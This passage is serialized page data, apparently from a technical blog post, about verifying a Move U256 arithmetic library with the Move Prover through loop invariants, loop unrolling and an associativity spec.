(",{"type":23,"tag":504,"props":10236,"children":10237},{"style":529},[10238],{"type":28,"value":2716},{"type":23,"tag":504,"props":10240,"children":10241},{"style":598},[10242],{"type":28,"value":7702},{"type":23,"tag":504,"props":10244,"children":10245},{"style":529},[10246],{"type":28,"value":7470},{"type":23,"tag":504,"props":10248,"children":10249},{"style":523},[10250],{"type":28,"value":1192},{"type":23,"tag":504,"props":10252,"children":10253},{"class":506,"line":813},[10254],{"type":23,"tag":504,"props":10255,"children":10256},{"style":523},[10257],{"type":28,"value":10258},"  }) {\n",{"type":23,"tag":504,"props":10260,"children":10261},{"class":506,"line":851},[10262,10267,10271,10275],{"type":23,"tag":504,"props":10263,"children":10264},{"style":523},[10265],{"type":28,"value":10266},"      vector",{"type":23,"tag":504,"props":10268,"children":10269},{"style":598},[10270],{"type":28,"value":2457},{"type":23,"tag":504,"props":10272,"children":10273},{"style":517},[10274],{"type":28,"value":7735},{"type":23,"tag":504,"props":10276,"children":10277},{"style":523},[10278],{"type":28,"value":2439},{"type":23,"tag":504,"props":10280,"children":10281},{"class":506,"line":869},[10282,10287,10291,10295],{"type":23,"tag":504,"props":10283,"children":10284},{"style":598},[10285],{"type":28,"value":10286},"          &",{"type":23,"tag":504,"props":10288,"children":10289},{"style":511},[10290],{"type":28,"value":2701},{"type":23,"tag":504,"props":10292,"children":10293},{"style":529},[10294],{"type":28,"value":7405},{"type":23,"tag":504,"props":10296,"children":10297},{"style":523},[10298],{"type":28,"value":2484},{"type":23,"tag":504,"props":10300,"children":10301},{"class":506,"line":878},[10302,10306,10310,10314,10318,10322,10326,10330,10334,10338,10342,10346,10350,10354,10358,10362,10366,10370,10374,10378,10382,10386],{"type":23,"tag":504,"props":10303,"children":10304},{"style":523},[10305],{"type":28,"value":7693},{"type":23,"tag":504,"props":10307,"children":10308},{"style":598},[10309],{"type":28,"value":3552},{"type":23,"tag":504,"props":10311,"children":10312},{"style":523},[10313],{"type":28,"value":7776},{"type":23,"tag":504,"props":10315,"children":10316},{"style":598},[10317],{"type":28,"value":2457},{"type":23,"tag":504,"props":10319,"children":10320},{"style":517},[10321],{"type":28,"value":7785},{"type":23,"tag":504,"props":10323,"children":10324},{"style":523},[10325],{"type":28,"value":526},{"type":23,"tag":504,"props":10327,"children":10328},{"style":598},[10329],{"type":28,"value":2086},{"type":23,"tag":504,"props":10331,"children":10332},{"style":529},[10333],{"type":28,"value":7350},{"type":23,"tag":504,"props":10335,"children":10336},{"style":523},[10337],{"type":28,"value":7802},{"type":23,"tag":504,"props":10339,"children":10340},{"style":529},[10341],{"type":28,"value":2716},{"type":23,"tag":504,"props":10343,"children":10344},{"style":511},[10345],{"type":28,"value":7811},{"type":23,"tag":504,"props":10347,"children":10348},{"style":1012},[10349],{"type":28,"value":4843},{"type":23,"tag":504,"props":10351,"children":10352},{"style":523},[10353],{"type":28,"value":7820},{"type":23,"tag":504,"props":10355,"children":10356},{"style":511},[10357],{"type":28,"value":7825},{"type":23,"tag":504,"props":10359,"children":10360},{"style":1012},[10361],{"type":28,"value":7830},{"type":23,"tag":504,"props":10363,"children":10364},{"style":523},[10365],{"type":28,"value":2064},{"type":23,"tag":504,"props":10367,"children":10368},{"style":598},[10369],{"type":28,"value":3552},{"type":23,"tag":504,"props":10371,"children":10372},{"style":523},[10373],{"type":28,"value":801},{"type":23,"tag":504,"props":10375,"children":10376},{"style":529},[10377],{"type":28,"value":7847},{"type":23,"tag":504,"props":10379,"children":10380},{"style":511},[10381],{"type":28,"value":7811},{"type":23,"tag":504,"props":10383,"children":10384},{"style":1012},[10385],{"type":28,"value":7830},{"type":23,"tag":504,"props":10387,"children":10388},{"style":523},[10389],{"type":28,"value":1192},{"type":23,"tag":504,"props":10391,"children":10392},{"class":506,"line":1221},[10393],{"type":23,"tag":504,"props":10394,"children":10395},{"style":523},[10396],{"type":28,"value":5750},{"type":23,"tag":504,"props":10398,"children":10399},{"class":506,"line":1276},[10400,10405,10409,10413,10417,10421],{"type":23,"tag":504,"props":10401,"children":10402},{"style":529},[10403],{"type":28,"value":10404},"      i",{"type":23,"tag":504,"props":10406,"children":10407},{"style":598},[10408],{"type":28,"value":648},{"type":23,"tag":504,"props":10410,"children":10411},{"style":529},[10412],{"type":28,"value":2374},{"type":23,"tag":504,"props":10414,"children":10415},{"style":598},[10416],{"type":28,"value":7888},{"type":23,"tag":504,"props":10418,"children":10419},{"style":1440},[10420],{"type":28,"value":3504},{"type":23,"tag":504,"props":10422,"children":10423},{"style":523},[10424],{"type":28,"value":866},{"type":23,"tag":504,"props":10426,"children":10427},{"class":506,"line":1285},[10428],{"type":23,"tag":504,"props":10429,"children":10430},{"style":523},[10431],{"type":28,"value":10432},"  };\n",{"type":23,"tag":24,"props":10434,"children":10435},{},[10436,10438,10444,10446,10451,10453,10459],{"type":28,"value":10437},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":56,"props":10439,"children":10441},{"className":10440},[],[10442],{"type":28,"value":10443},"while",{"type":28,"value":10445}," loop. Note that because the loop invariant executes ",{"type":23,"tag":1887,"props":10447,"children":10448},{},[10449],{"type":28,"value":10450},"after",{"type":28,"value":10452}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":56,"props":10454,"children":10456},{"className":10455},[],[10457],{"type":28,"value":10458},"i \u003C= n_coins",{"type":28,"value":320},{"type":23,"tag":494,"props":10461,"children":10463},{"code":10462,"language":1956,"meta":7,"className":1957,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[10464],{"type":23,"tag":56,"props":10465,"children":10466},{"__ignoreMap":7},[10467,10478,10489,10524,10547,10630,10637,10660],{"type":23,"tag":504,"props":10468,"children":10469},{"class":506,"line":507},[10470,10474],{"type":23,"tag":504,"props":10471,"children":10472},{"style":544},[10473],{"type":28,"value":10062},{"type":23,"tag":504,"props":10475,"children":10476},{"style":523},[10477],{"type":28,"value":7516},{"type":23,"tag":504,"props":10479,"children":10480},{"class":506,"line":540},[10481,10485],{"type":23,"tag":504,"props":10482,"children":10483},{"style":529},[10484],{"type":28,"value":7912},{"type":23,"tag":504,"props":10486,"children":10487},{"style":523},[10488],{"type":28,"value":552},{"type":23,"tag":504,"props":10490,"children":10491},{"class":506,"line":555},[10492,10496,10500,10504,10508,10512,10516,10520],{"type":23,"tag":504,"props":10493,"children":10494},{"style":529},[10495],{"type":28,"value":10085},{"type":23,"tag":504,"props":10497,"children":10498},{"style":517},[10499],{"type":28,"value":7541},{"type":23,"tag":504,"props":10501,"children":10502},{"style":523},[10503],{"type":28,"value":526},{"type":23,"tag":504,"props":10505,"children":10506},{"style":529},[10507],{"type":28,"value":7550},{"type":23,"tag":504,"props":10509,"children":10510},{"style":523},[10511],{"type":28,"value":2064},{"type":23,"tag":504,"props":10513,"children":10514},{"style":598},[10515],{"type":28,"value":7559},{"type":23,"tag":504,"props":10517,"children":10518},{"style":529},[10519],{"type":28,"value":2374},{"type":23,"tag":504,"props":10521,"children":10522},{"style":523},[10523],{"type":28,"value":866},{"type":23,"tag":504,"props":10525,"children":10526},{"class":506,"line":633},[10527,10531,10535,10539,10543],{"type":23,"tag":504,"props":10528,"children":10529},{"style":529},[10530],{"type":28,"value":10085},{"type":23,"tag":504,"props":10532,"children":10533},{"style":529},[10534],{"type":28,"value":2374},{"type":23,"tag":504,"props":10536,"children":10537},{"style":598},[10538],{"type":28,"value":7180},{"type":23,"tag":504,"props":10540,"children":10541},{"style":529},[10542],{"type":28,"value":7470},{"type":23,"tag":504,"props":10544,"children":10545},{"style":523},[10546],{"type":28,"value":866},{"type":23,"tag":504,"props":10548,"children":10549},{"class":506,"line":687},[10550,10554,10558,10562,10566,10570,10574,10578,10582,10586,10590,10594,10598,10602,10606,10610,10614,10618,10622,10626],{"type":23,"tag":504,"props":10551,"children":10552},{"style":529},[10553],{"type":28,"value":10085},{"type":23,"tag":504,"props":10555,"children":10556},{"style":529},[10557],{"type":28,"value":7602},{"type":23,"tag":504,"props":10559,"children":10560},{"style":529},[10561],{"type":28,"value":7607},{"type":23,"tag":504,"props":10563,"children":10564},{"style":511},[10565],{"type":28,"value":2018},{"type":23,"tag":504,"props":10567,"children":10568},{"style":1440},[10569],{"type":28,"value":2023},{"type":23,"tag":504,"props":10571,"children":10572},{"style":598},[10573],{"type":28,"value":2028},{"type":23,"tag":504,"props":10575,"children":10576},{"style":529},[10577],{"type":28,"value":2716},{"type":23,"tag":504,"props":10579,"children":10580},{"style":598},[10581],{"type":28,"value":3472},{"type":23,"tag":504,"props":10583,"children":10584},{"style":529},[10585],{"type":28,"value":7405},{"type":23,"tag":504,"props":10587,"children":10588},{"style":523},[10589],{"type":28,"value":2711},{"type":23,"tag":504,"props":10591,"children":10592},{"style":529},[10593],{"type":28,"value":7640},{"type":23,"tag":504,"props":10595,"children":10596},{"style":523},[10597],{"type":28,"value":595},{"type":23,"tag":504,"props":10599,"children":10600},{"style":598},[10601],{"type":28,"value":7559},{"type":23,"tag":504,"props":10603,"children":10604},{"style":529},[10605],{"type":28,"value":7653},{"type":23,"tag":504,"props":10607,"children":10608},{"style":523},[10609],{"type":28,"value":2711},{"type":23,"tag":504,"props":10611,"children":10612},{"style":529},[10613],{"type":28,"value":7640},{"type":23,"tag":504,"props":10615,"children":10616},{"style":523},[10617],{"type":28,"value":595},{"type":23,"tag":504,"props":10619,"children":10620},{"style":598},[10621],{"type":28,"value":3552},{"type":23,"tag":504,"props":10623,"children":10624},{"style":529},[10625],{"type":28,"value":7470},{"type":23,"tag":504,"props":10627,"children":10628},{"style":523},[10629],{"type":28,"value":866},{"type":23,"tag":504,"props":10631,"children":10632},{"class":506,"line":736},[10633],{"type":23,"tag":504,"props":10634,"children":10635},{"style":523},[10636],{"type":28,"value":7904},{"type":23,"tag":504,"props":10638,"children":10639},{"class":506,"line":785},[10640,10644,10648,10652,10656],{"type":23,"tag":504,"props":10641,"children":10642},{"style":523},[10643],{"type":28,"value":10234},{"type":23,"tag":504,"props":10645,"children":10646},{"style":529},[10647],{"type":28,"value":2716},{"type":23,"tag":504,"props":10649,"children":10650},{"style":598},[10651],{"type":28,"value":7702},{"type":23,"tag":504,"props":10653,"children":10654},{"style":529},[10655],{"type":28,"value":7470},{"type":23,"tag":504,"props":10657,"children":10658},{"style":523},[10659],{"type":28,"value":1192},{"type":23,"tag":504,"props":10661,"children":10662},{"class":506,"line":813},[10663],{"type":23,"tag":504,"props":10664,"children":10665},{"style":523},[10666],{"type":28,"value":10258},{"type":23,"tag":24,"props":10668,"children":10669},{},[10670],{"type":28,"value":10671},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":24,"props":10673,"children":10674},{},[10675,10677,10682],{"type":28,"value":10676},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":56,"props":10678,"children":10680},{"className":10679},[],[10681],{"type":28,"value":8618},{"type":28,"value":10683}," function will always iterate exactly 4 times:",{"type":23,"tag":494,"props":10685,"children":10687},{"code":10686,"language":1956,"meta":7,"className":1957,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[10688],{"type":23,"tag":56,"props":10689,"children":10690},{"__ignoreMap":7},[10691,10699,10732,10739,10755,10762,10786,10810,10855,10899,10906],{"type":23,"tag":504,"props":10692,"children":10693},{"class":506,"line":507},[10694],{"type":23,"tag":504,"props":10695,"children":10696},{"style":1106},[10697],{"type":28,"value":10698},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":504,"props":10700,"children":10701},{"class":506,"line":540},[10702,10706,10711,10715,10719,10723,10728],{"type":23,"tag":504,"props":10703,"children":10704},{"style":511},[10705],{"type":28,"value":8635},{"type":23,"tag":504,"props":10707,"children":10708},{"style":523},[10709],{"type":28,"value":10710}," WORDS",{"type":23,"tag":504,"props":10712,"children":10713},{"style":598},[10714],{"type":28,"value":3472},{"type":23,"tag":504,"props":10716,"children":10717},{"style":1012},[10718],{"type":28,"value":4843},{"type":23,"tag":504,"props":10720,"children":10721},{"style":598},[10722],{"type":28,"value":648},{"type":23,"tag":504,"props":10724,"children":10725},{"style":1440},[10726],{"type":28,"value":10727}," 4",{"type":23,"tag":504,"props":10729,"children":10730},{"style":523},[10731],{"type":28,"value":866},{"type":23,"tag":504,"props":10733,"children":10734},{"class":506,"line":555},[10735],{"type":23,"tag":504,"props":10736,"children":10737},{"emptyLinePlaceholder":16},[10738],{"type":28,"value":1038},{"type":23,"tag":504,"props":10740,"children":10741},{"class":506,"line":633},[10742,10746,10750],{"type":23,"tag":504,"props":10743,"children":10744},{"style":523},[10745],{"type":28,"value":2711},{"type":23,"tag":504,"props":10747,"children":10748},{"style":598},[10749],{"type":28,"value":8572},{"type":23,"tag":504,"props":10751,"children":10752},{"style":523},[10753],{"type":28,"value":10754},"]\n",{"type":23,"tag":504,"props":10756,"children":10757},{"class":506,"line":687},[10758],{"type":23,"tag":504,"props":10759,"children":10760},{"emptyLinePlaceholder":16},[10761],{"type":28,"value":1038},{"type":23,"tag":504,"props":10763,"children":10764},{"class":506,"line":736},[10765,10770,10774,10778,10782],{"type":23,"tag":504,"props":10766,"children":10767},{"style":511},[10768],{"type":28,"value":10769},"let",{"type":23,"tag":504,"props":10771,"children":10772},{"style":529},[10773],{"type":28,"value":2374},{"type":23,"tag":504,"props":10775,"children":10776},{"style":598},[10777],{"type":28,"value":648},{"type":23,"tag":504,"props":10779,"children":10780},{"style":1440},[10781],{"type":28,"value":2023},{"type":23,"tag":504,"props":10783,"children":10784},{"style":523},[10785],{"type":28,"value":866},{"type":23,"tag":504,"props":10787,"children":10788},{"class":506,"line":785},[10789,10793,10797,10801,10805],{"type":23,"tag":504,"props":10790,"children":10791},{"style":544},[10792],{"type":28,"value":10443},{"type":23,"tag":504,"props":10794,"children":10795},{"style":523},[10796],{"type":28,"value":801},{"type":23,"tag":504,"props":10798,"children":10799},{"style":529},[10800],{"type":28,"value":2716},{"type":23,"tag":504,"props":10802,"children":10803},{"style":598},[10804],{"type":28,"value":7702},{"type":23,"tag":504,"props":10806,"children":10807},{"style":523},[10808],{"type":28,"value":10809}," WORDS) {\n",{"type":23,"tag":504,"props":10811,"children":10812},{"class":506,"line":813},[10813,10817,10822,10826,10831,10835,10839,10843,10847,10851],{"type":23,"tag":504,"props":10814,"children":10815},{"style":511},[10816],{"type":28,"value":1977},{"type":23,"tag":504,"props":10818,"children":10819},{"style":529},[10820],{"type":28,"value":10821}," a1",{"type":23,"tag":504,"props":10823,"children":10824},{"style":598},[10825],{"type":28,"value":648},{"type":23,"tag":504,"props":10827,"children":10828},{"style":517},[10829],{"type":28,"value":10830}," get",{"type":23,"tag":504,"props":10832,"children":10833},{"style":523},[10834],{"type":28,"value":526},{"type":23,"tag":504,"props":10836,"children":10837},{"style":598},[10838],{"type":28,"value":2086},{"type":23,"tag":504,"props":10840,"children":10841},{"style":529},[10842],{"type":28,"value":92},{"type":23,"tag":504,"props":10844,"children":10845},{"style":523},[10846],{"type":28,"value":576},{"type":23,"tag":504,"props":10848,"children":10849},{"style":529},[10850],{"type":28,"value":2716},{"type":23,"tag":504,"props":10852,"children":10853},{"style":523},[10854],{"type":28,"value":630},{"type":23,"tag":504,"props":10856,"children":10857},{"class":506,"line":851},[10858,10862,10867,10871,10875,10879,10883,10887,10891,10895],{"type":23,"tag":504,"props":10859,"children":10860},{"style":511},[10861],{"type":28,"value":1977},{"type":23,"tag":504,"props":10863,"children":10864},{"style":529},[10865],{"type":28,"value":10866}," b1",{"type":23,"tag":504,"props":10868,"children":10869},{"style":598},[10870],{"type":28,"value":648},{"type":23,"tag":504,"props":10872,"children":10873},{"style":517},[10874],{"type":28,"value":10830},{"type":23,"tag":504,"props":10876,"children":10877},{"style":523},[10878],{"type":28,"value":526},{"type":23,"tag":504,"props":10880,"children":10881},{"style":598},[10882],{"type":28,"value":2086},{"type":23,"tag":504,"props":10884,"children":10885},{"style":529},[10886],{"type":28,"value":2200},{"type":23,"tag":504,"props":10888,"children":10889},{"style":523},[10890],{"type":28,"value":576},{"type":23,"tag":504,"props":10892,"children":10893},{"style":529},[10894],{"type":28,"value":2716},{"type":23,"tag":504,"props":10896,"children":10897},{"style":523},[10898],{"type":28,"value":630},{"type":23,"tag":504,"props":10900,"children":10901},{"class":506,"line":869},[10902],{"type":23,"tag":504,"props":10903,"children":10904},{"emptyLinePlaceholder":16},[10905],{"type":28,"value":1038},{"type":23,"tag":504,"props":10907,"children":10908},{"class":506,"line":878},[10909,10913,10917],{"type":23,"tag":504,"props":10910,"children":10911},{"style":523},[10912],{"type":28,"value":2711},{"type":23,"tag":504,"props":10914,"children":10915},{"style":598},[10916],{"type":28,"value":8572},{"type":23,"tag":504,"props":10918,"children":10919},{"style":523},[10920],{"type":28,"value":10754},{"type":23,"tag":24,"props":10922,"children":10923},{},[10924],{"type":28,"value":10925},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":494,"props":10927,"children":10929},{"code":10928},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[10930],{"type":23,"tag":56,"props":10931,"children":10932},{"__ignoreMap":7},[10933],{"type":28,"value":10928},{"type":23,"tag":24,"props":10935,"children":10936},{},[10937,10939,10944,10945,10951],{"type":28,"value":10938},"For the ",{"type":23,"tag":296,"props":10940,"children":10941},{},[10942],{"type":28,"value":10943},"Associative Property",{"type":28,"value":801},{"type":23,"tag":56,"props":10946,"children":10948},{"className":10947},[],[10949],{"type":28,"value":10950},"a+(b+c) = (a+b)+c",{"type":28,"value":10952},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":494,"props":10954,"children":10956},{"code":10955,"language":1956,"meta":7,"className":1957,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[10957],{"type":23,"tag":56,"props":10958,"children":10959},{"__ignoreMap":7},[10960,11037,11076,11117,11156,11197,11204,11254,11294],{"type":23,"tag":504,"props":10961,"children":10962},{"class":506,"line":507},[10963,10967,10972,10976,10980,10984,10988,10992,10996,11000,11004,11008,11012,11016,11020,11024,11028,11033],{"type":23,"tag":504,"props":10964,"children":10965},{"style":529},[10966],{"type":28,"value":6091},{"type":23,"tag":504,"props":10968,"children":10969},{"style":517},[10970],{"type":28,"value":10971}," add_assoc_property",{"type":23,"tag":504,"props":10973,"children":10974},{"style":523},[10975],{"type":28,"value":526},{"type":23,"tag":504,"props":10977,"children":10978},{"style":529},[10979],{"type":28,"value":92},{"type":23,"tag":504,"props":10981,"children":10982},{"style":598},[10983],{"type":28,"value":3472},{"type":23,"tag":504,"props":10985,"children":10986},{"style":1012},[10987],{"type":28,"value":3712},{"type":23,"tag":504,"props":10989,"children":10990},{"style":523},[10991],{"type":28,"value":576},{"type":23,"tag":504,"props":10993,"children":10994},{"style":529},[10995],{"type":28,"value":2200},{"type":23,"tag":504,"props":10997,"children":10998},{"style":598},[10999],{"type":28,"value":3472},{"type":23,"tag":504,"props":11001,"children":11002},{"style":1012},[11003],{"type":28,"value":3712},{"type":23,"tag":504,"props":11005,"children":11006},{"style":523},[11007],{"type":28,"value":576},{"type":23,"tag":504,"props":11009,"children":11010},{"style":529},[11011],{"type":28,"value":2124},{"type":23,"tag":504,"props":11013,"children":11014},{"style":598},[11015],{"type":28,"value":3472},{"type":23,"tag":504,"props":11017,"children":11018},{"style":1012},[11019],{"type":28,"value":3712},{"type":23,"tag":504,"props":11021,"children":11022},{"style":523},[11023],{"type":28,"value":2105},{"type":23,"tag":504,"props":11025,"children":11026},{"style":598},[11027],{"type":28,"value":3472},{"type":23,"tag":504,"props":11029,"children":11030},{"style":1012},[11031],{"type":28,"value":11032}," bool",{"type":23,"tag":504,"props":11034,"children":11035},{"style":523},[11036],{"type":28,"value":552},{"type":23,"tag":504,"props":11038,"children":11039},{"class":506,"line":540},[11040,11044,11048,11052,11056,11060,11064,11068,11072],{"type":23,"tag":504,"props":11041,"children":11042},{"style":511},[11043],{"type":28,"value":1977},{"type":23,"tag":504,"props":11045,"children":11046},{"style":529},[11047],{"type":28,"value":7175},{"type":23,"tag":504,"props":11049,"children":11050},{"style":598},[11051],{"type":28,"value":648},{"type":23,"tag":504,"props":11053,"children":11054},{"style":517},[11055],{"type":28,"value":8563},{"type":23,"tag":504,"props":11057,"children":11058},{"style":523},[11059],{"type":28,"value":526},{"type":23,"tag":504,"props":11061,"children":11062},{"style":529},[11063],{"type":28,"value":2200},{"type":23,"tag":504,"props":11065,"children":11066},{"style":523},[11067],{"type":28,"value":576},{"type":23,"tag":504,"props":11069,"children":11070},{"style":529},[11071],{"type":28,"value":2124},{"type":23,"tag":504,"props":11073,"children":11074},{"style":523},[11075],{"type":28,"value":630},{"type":23,"tag":504,"props":11077,"children":11078},{"class":506,"line":555},[11079,11083,11088,11092,11096,11100,11104,11108,11113],{"type":23,"tag":504,"props":11080,"children":11081},{"style":511},[11082],{"type":28,"value":1977},{"type":23,"tag":504,"props":11084,"children":11085},{"style":529},[11086],{"type":28,"value":11087}," result_11",{"type":23,"tag":504,"props":11089,"children":11090},{"style":598},[11091],{"type":28,"value":648},{"type":23,"tag":504,"props":11093,"children":11094},{"style":517},[11095],{"type":28,"value":8563},{"type":23,"tag":504,"props":11097,"children":11098},{"style":523},[11099],{"type":28,"value":526},{"type":23,"tag":504,"props":11101,"children":11102},{"style":529},[11103],{"type":28,"value":92},{"type":23,"tag":504,"props":11105,"children":11106},{"style":523},[11107],{"type":28,"value":576},{"type":23,"tag":504,"props":11109,"children":11110},{"style":529},[11111],{"type":28,"value":11112},"result_1",{"type":23,"tag":504,"props":11114,"children":11115},{"style":523},[11116],{"type":28,"value":630},{"type":23,"tag":504,"props":11118,"children":11119},{"class":506,"line":633},[11120,11124,11128,11132,11136,11140,11144,11148,11152],{"type":23,"tag":504,"props":11121,"children":11122},{"style":511},[11123],{"type":28,"value":1977},{"type":23,"tag":504,"props":11125,"children":11126},{"style":529},[11127],{"type":28,"value":7201},{"type":23,"tag":504,"props":11129,"children":11130},{"style":598},[11131],{"type":28,"value":648},{"type":23,"tag":504,"props":11133,"children":11134},{"style":517},[11135],{"type":28,"value":8563},{"type":23,"tag":504,"props":11137,"children":11138},{"style":523},[11139],{"type":28,"value":526},{"type":23,"tag":504,"props":11141,"children":11142},{"style":529},[11143],{"type":28,"value":92},{"type":23,"tag":504,"props":11145,"children":11146},{"style":523},[11147],{"type":28,"value":576},{"type":23,"tag":504,"props":11149,"children":11150},{"style":529},[11151],{"type":28,"value":2200},{"type":23,"tag":504,"props":11153,"children":11154},{"style":523},[11155],{"type":28,"value":630},{"type":23,"tag":504,"props":11157,"children":11158},{"class":506,"line":687},[11159,11163,11168,11172,11176,11180,11184,11188,11193],{"type":23,"tag":504,"props":11160,"children":11161},{"style":511},[11162],{"type":28,"value":1977},{"type":23,"tag":504,"props":11164,"children":11165},{"style":529},[11166],{"type":28,"value":11167}," result_22",{"type":23,"tag":504,"props":11169,"children":11170},{"style":598},[11171],{"type":28,"value":648},{"type":23,"tag":504,"props":11173,"children":11174},{"style":517},[11175],{"type":28,"value":8563},{"type":23,"tag":504,"props":11177,"children":11178},{"style":523},[11179],{"type":28,"value":526},{"type":23,"tag":504,"props":11181,"children":11182},{"style":529},[11183],{"type":28,"value":2124},{"type":23,"tag":504,"props":11185,"children":11186},{"style":523},[11187],{"type":28,"value":576},{"type":23,"tag":504,"props":11189,"children":11190},{"style":529},[11191],{"type":28,"value":11192},"result_2",{"type":23,"tag":504,"props":11194,"children":11195},{"style":523},[11196],{"type":28,"value":630},{"type":23,"tag":504,"props":11198,"children":11199},{"class":506,"line":736},[11200],{"type":23,"tag":504,"props":11201,"children":11202},{"emptyLinePlaceholder":16},[11203],{"type":28,"value":1038},{"type":23,"tag":504,"props":11205,"children":11206},{"class":506,"line":785},[11207,11211,11215,11219,11224,11228,11232,11237,11241,11245,11250],{"type":23,"tag":504,"props":11208,"children":11209},{"style":511},[11210],{"type":28,"value":1977},{"type":23,"tag":504,"props":11212,"children":11213},{"style":529},[11214],{"type":28,"value":6843},{"type":23,"tag":504,"props":11216,"children":11217},{"style":598},[11218],{"type":28,"value":648},{"type":23,"tag":504,"props":11220,"children":11221},{"style":517},[11222],{"type":28,"value":11223}," compare",{"type":23,"tag":504,"props":11225,"children":11226},{"style":523},[11227],{"type":28,"value":526},{"type":23,"tag":504,"props":11229,"children":11230},{"style":598},[11231],{"type":28,"value":2086},{"type":23,"tag":504,"props":11233,"children":11234},{"style":529},[11235],{"type":28,"value":11236},"result_11",{"type":23,"tag":504,"props":11238,"children":11239},{"style":523},[11240],{"type":28,"value":576},{"type":23,"tag":504,"props":11242,"children":11243},{"style":598},[11244],{"type":28,"value":2086},{"type":23,"tag":504,"props":11246,"children":11247},{"style":529},[11248],{"type":28,"value":11249},"result_22",{"type":23,"tag":504,"props":11251,"children":11252},{"style":523},[11253],{"type":28,"value":630},{"type":23,"tag":504,"props":11255,"children":11256},{"class":506,"line":813},[11257,11262,11267,11271,11275,11280,11284,11289],{"type":23,"tag":504,"props":11258,"children":11259},{"style":544},[11260],{"type":28,"value":11261},"    if",{"type":23,"tag":504,"props":11263,"children":11264},{"style":523},[11265],{"type":28,"value":11266}," ( ",{"type":23,"tag":504,"props":11268,"children":11269},{"style":529},[11270],{"type":28,"value":6908},{"type":23,"tag":504,"props":11272,"children":11273},{"style":598},[11274],{"type":28,"value":2260},{"type":23,"tag":504,"props":11276,"children":11277},{"style":523},[11278],{"type":28,"value":11279}," EQUAL ) ",{"type":23,"tag":504,"props":11281,"children":11282},{"style":511},[11283],{"type":28,"value":2972},{"type":23,"tag":504,"props":11285,"children":11286},{"style":544},[11287],{"type":28,"value":11288}," else",{"type":23,"tag":504,"props":11290,"children":11291},{"style":511},[11292],{"type":28,"value":11293}," false\n",{"type":23,"tag":504,"props":11295,"children":11296},{"class":506,"line":851},[11297],{"type":23,"tag":504,"props":11298,"children":11299},{"style":523},[11300],{"type":28,"value":884},{"type":23,"tag":24,"props":11302,"children":11303},{},[11304],{"type":28,"value":11305},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":494,"props":11307,"children":11309},{"code":11308,"language":1956,"meta":7,"className":1957,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[11310],{"type":23,"tag":56,"props":11311,"children":11312},{"__ignoreMap":7},[11313,11328,11432,11455],{"type":23,"tag":504,"props":11314,"children":11315},{"class":506,"line":507},[11316,11320,11324],{"type":23,"tag":504,"props":11317,"children":11318},{"style":529},[11319],{"type":28,"value":7258},{"type":23,"tag":504,"props":11321,"children":11322},{"style":529},[11323],{"type":28,"value":10971},{"type":23,"tag":504,"props":11325,"children":11326},{"style":523},[11327],{"type":28,"value":552},{"type":23,"tag":504,"props":11329,"children":11330},{"class":506,"line":540},[11331,11335,11339,11344,11348,11352,11356,11360,11364,11368,11372,11376,11380,11384,11388,11392,11396,11400,11404,11408,11412,11416,11420,11424,11428],{"type":23,"tag":504,"props":11332,"children":11333},{"style":529},[11334],{"type":28,"value":8883},{"type":23,"tag":504,"props":11336,"children":11337},{"style":523},[11338],{"type":28,"value":801},{"type":23,"tag":504,"props":11340,"children":11341},{"style":517},[11342],{"type":28,"value":11343},"value_of_U256",{"type":23,"tag":504,"props":11345,"children":11346},{"style":523},[11347],{"type":28,"value":526},{"type":23,"tag":504,"props":11349,"children":11350},{"style":529},[11351],{"type":28,"value":92},{"type":23,"tag":504,"props":11353,"children":11354},{"style":523},[11355],{"type":28,"value":2064},{"type":23,"tag":504,"props":11357,"children":11358},{"style":598},[11359],{"type":28,"value":1642},{"type":23,"tag":504,"props":11361,"children":11362},{"style":517},[11363],{"type":28,"value":8684},{"type":23,"tag":504,"props":11365,"children":11366},{"style":523},[11367],{"type":28,"value":526},{"type":23,"tag":504,"props":11369,"children":11370},{"style":529},[11371],{"type":28,"value":2200},{"type":23,"tag":504,"props":11373,"children":11374},{"style":523},[11375],{"type":28,"value":7820},{"type":23,"tag":504,"props":11377,"children":11378},{"style":598},[11379],{"type":28,"value":1642},{"type":23,"tag":504,"props":11381,"children":11382},{"style":517},[11383],{"type":28,"value":8684},{"type":23,"tag":504,"props":11385,"children":11386},{"style":523},[11387],{"type":28,"value":526},{"type":23,"tag":504,"props":11389,"children":11390},{"style":529},[11391],{"type":28,"value":2124},{"type":23,"tag":504,"props":11393,"children":11394},{"style":523},[11395],{"type":28,"value":2064},{"type":23,"tag":504,"props":11397,"children":11398},{"style":598},[11399],{"type":28,"value":8924},{"type":23,"tag":504,"props":11401,"children":11402},{"style":1012},[11403],{"type":28,"value":8640},{"type":23,"tag":504,"props":11405,"children":11406},{"style":598},[11407],{"type":28,"value":8797},{"type":23,"tag":504,"props":11409,"children":11410},{"style":1012},[11411],{"type":28,"value":8640},{"type":23,"tag":504,"props":11413,"children":11414},{"style":598},[11415],{"type":28,"value":8797},{"type":23,"tag":504,"props":11417,"children":11418},{"style":1012},[11419],{"type":28,"value":8640},{"type":23,"tag":504,"props":11421,"